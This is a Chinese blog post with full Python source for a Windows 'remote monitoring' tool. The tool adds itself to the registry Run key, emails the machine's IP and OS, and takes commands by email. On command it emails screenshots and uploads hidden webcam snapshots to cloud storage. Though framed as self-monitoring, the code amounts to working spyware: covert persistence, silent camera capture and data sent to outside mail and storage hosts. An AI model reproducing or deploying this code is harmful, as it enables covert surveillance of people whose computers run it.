python操作摄像头截图实现远程监控的例子


Posted in Python onMarch 25, 2014

最近用python写了一个远程监控的程序,主要功能有:
1.用邮件控制所以功能
2.可以对屏幕截图,屏幕截图发送到邮箱
3.可以用摄像头获取图片,这些图片上传到七牛
4.开机自启动

#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart  
from email.mime.text import MIMEText  
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申请
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#获取ip
def getIP():
    ip=socket.gethostbyname(socket.gethostname())
    return ip
#获取操作系统版本、
def getSystemVersion():
    return platform.platform()
def send_Information(ip,system_version):
    info='ip:'+ip+'  '+'system version:'+system_version
    print info
    smtp=smtplib.SMTP()
    smtp.connect('smtp.sina.com')
    smtp.login('sender@sina.com','***') #改成自己的邮箱和密码
    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收邮箱改成自己另外一个邮箱
#截图,图片名为截图时间
def screen_capture():
    #获取截图时间
    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    pic_name='screen'+pic_time+'.jpg'
    pic = ImageGrab.grab()
    pic.save('%s' % pic_name)
    print pic_name
    #发送图片
    send_Img(pic_time,pic_name)
    print pic_name
    os.remove(pic_name)#删除图片
#发送截图图片到邮箱
def send_Img(pic_time,pic_name):
    msgRoot = MIMEMultipart('related')  
    msgRoot['Subject'] = pic_time
    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')  
    msgRoot.attach(msgText)  
    #fp = open('F:\\1.jpg', 'rb')
    fp = open(pic_name, 'rb')  
    msgImage = MIMEImage(fp.read())  
    fp.close()  
    msgImage.add_header('Content-ID', '<image1>')  
    msgRoot.attach(msgImage)  
    smtp = smtplib.SMTP()  
    smtp.connect('smtp.sina.com','25')  
    smtp.login("sender@sina.com","*****") 
    smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())  
    smtp.quit()
    print 'send success'
#摄像头截图,每隔SLEEP_TIME秒截取一张
def camera_capture():
    #抓取频率
    SLEEP_TIME=3
    i=0
    cam=Device(devnum=0, showVideoWindow=0)
    while i<10:
        cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        cam_name='camera'+cam_time+'.jpg'
        cam.saveSnapshot(cam_name,3,1,'bl')
        camera_upload(cam_name)
        print str(i)+cam_name
        os.remove(cam_name)
        time.sleep(SLEEP_TIME)
        i+=1
 #上传到七牛      
def camera_upload(file):
    policy = qiniu.rs.PutPolicy('iloster') #空间名,iloster是我的空间名
    uptoken = policy.token()
    ret, err = qiniu.io.put_file(uptoken, None, file)
    if err is not None:
        sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
    pop=poplib.POP3_SSL('pop.qq.com')
    pop.user('receiver@qq.com')
    pop.pass_('*****')
    #获取邮件数目
    (num,totalSize)=pop.stat()
    #获取最新的邮件
    (heard,msg,octets)=pop.retr(num)
    mail=email.message_from_string("\n".join(msg))
    subject=email.Header.decode_header(mail['subject'])[0][0] #标题
    pop.quit()
    return subject
#获得程序的路径
def getPath():
    path=os.getcwd()+'\Remote.exe'  #最后打包的exe程序名必须为Remote.exe,或者把这里改一下
    print path
    return path
#添加开机自启动,在注册表里注册
def add_start(path):
    subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
    #print win32api.RegQueryValueEx(key,'python')
    win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
    print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
    add_start(getPath()) #添加开机自启动
    send_Information(getIP(),getSystemVersion())
    while 1: #不断的监听
        if accept_mail()=='screen': #当获取的邮件主题为screen时,截取屏幕信息
            screen_capture()
        elif accept_mail()=='camera':
            camera_capture()       

注意:
1.我的发送邮箱是sina邮箱,接收邮箱是qq邮箱,这样做是因为微信可以绑定qq邮箱。
2.accept_mail()监听的邮箱是自己的接收邮箱,就是我用的qq邮箱
3.当监听到screen时,开始屏幕截图并发送到邮箱,由于监听的是最新的邮件,当图片发送带邮箱时,获取的邮件主题不是screen了,应该会停止截图,最后只会截取一张图片,继续保持监听状态。但实际由于网络的原因,发送的邮件会有延迟,所以,实际截取的图片会有很多张
4.当监听到camera时,会用摄像头截图,如果把while i<10,改成i=1,会让摄像头一直截图,并使其他命令失效,所以我i<10,就是每获取一次命令,截图10张

Python 相关文章推荐
python文件操作整理汇总
Oct 21 Python
详解用TensorFlow实现逻辑回归算法
May 02 Python
在python中使用requests 模拟浏览器发送请求数据的方法
Dec 26 Python
python爬虫实现中英翻译词典
Jun 25 Python
Python 数据可视化pyecharts的使用详解
Jun 26 Python
python 修改本地网络配置的方法
Aug 14 Python
Python3 hashlib密码散列算法原理详解
Mar 30 Python
Python实现验证码识别
Jun 15 Python
Python钉钉报警及Zabbix集成钉钉报警的示例代码
Aug 17 Python
python利用platform模块获取系统信息
Oct 09 Python
Pycharm连接远程服务器并远程调试的全过程
Jun 24 Python
python脚本框架webpy模板赋值实现
Nov 20 Python
python基础教程之字典操作详解
Mar 25 #Python
python基础教程之元组操作使用详解
Mar 25 #Python
python基础教程之简单入门说明(变量和控制语言使用方法)
Mar 25 #Python
python使用循环实现批量创建文件夹示例
Mar 25 #Python
python实现图片批量剪切示例
Mar 25 #Python
使用python实现strcmp函数功能示例
Mar 25 #Python
python读写ini文件示例(python读写文件)
Mar 25 #Python
You might like
PHP实现将浏览历史页面网址保存到cookie的方法
2015/01/26 PHP
PHP中error_reporting()用法详解
2015/08/31 PHP
php使用文本统计访问量的方法
2016/05/12 PHP
JavaScript 全面解析各种浏览器网页中的JS 执行顺序
2009/02/17 Javascript
JQery jstree 大数据量问题解决方法
2010/03/09 Javascript
Jquery提交表单 Form.js官方插件介绍
2012/03/01 Javascript
jQuery布局插件UI Layout简介及使用方法
2013/04/03 Javascript
jQuery中delegate与on的用法与区别示例介绍
2013/12/20 Javascript
js跳转页面方法总结
2014/01/29 Javascript
javascript中parseInt()函数的定义和用法分析
2014/12/20 Javascript
JavaScript通过setTimeout实时显示当前时间的方法
2015/04/16 Javascript
js实现的全国省市二级联动下拉选择菜单完整实例
2015/08/17 Javascript
JavaScript中${pageContext.request.contextPath}取值问题及解决方案
2016/12/08 Javascript
jQuery插件版本冲突的处理方法分析
2017/01/16 Javascript
无循环 JavaScript(map、reduce、filter和find)
2017/04/08 Javascript
vue+axios+mock.js环境搭建的方法步骤
2018/08/28 Javascript
JS中使用new Option()实现时间联动效果
2018/12/10 Javascript
ES6中字符串的使用方法扩展
2019/06/04 Javascript
解决Layui 表格自适应高度的问题
2019/11/15 Javascript
Python用for循环实现九九乘法表
2018/05/31 Python
详解Python下ftp上传文件linux服务器
2018/06/21 Python
解决pycharm下os.system执行命令返回有中文乱码的问题
2019/07/07 Python
Django如何实现上传图片功能
2019/08/16 Python
python写入数据到csv或xlsx文件的3种方法
2019/08/23 Python
Python循环实现n的全排列功能
2019/09/16 Python
python能做哪方面的工作
2020/06/15 Python
python excel多行合并的方法
2020/12/09 Python
Alba Moda瑞士网上商店:独家意大利时尚女装销售
2016/11/28 全球购物
印度尼西亚手表和包包商店:Urban Icon
2019/12/12 全球购物
车间主管岗位职责
2013/11/14 职场文书
国际商贸专业自荐信
2014/06/09 职场文书
人事经理岗位职责范本
2014/08/04 职场文书
单位委托书范本(3篇)
2014/09/18 职场文书
销售人才自我评价范文
2014/09/27 职场文书
2015年创先争优工作总结
2015/05/23 职场文书
部分武汉产收音机展览
2022/04/07 无线电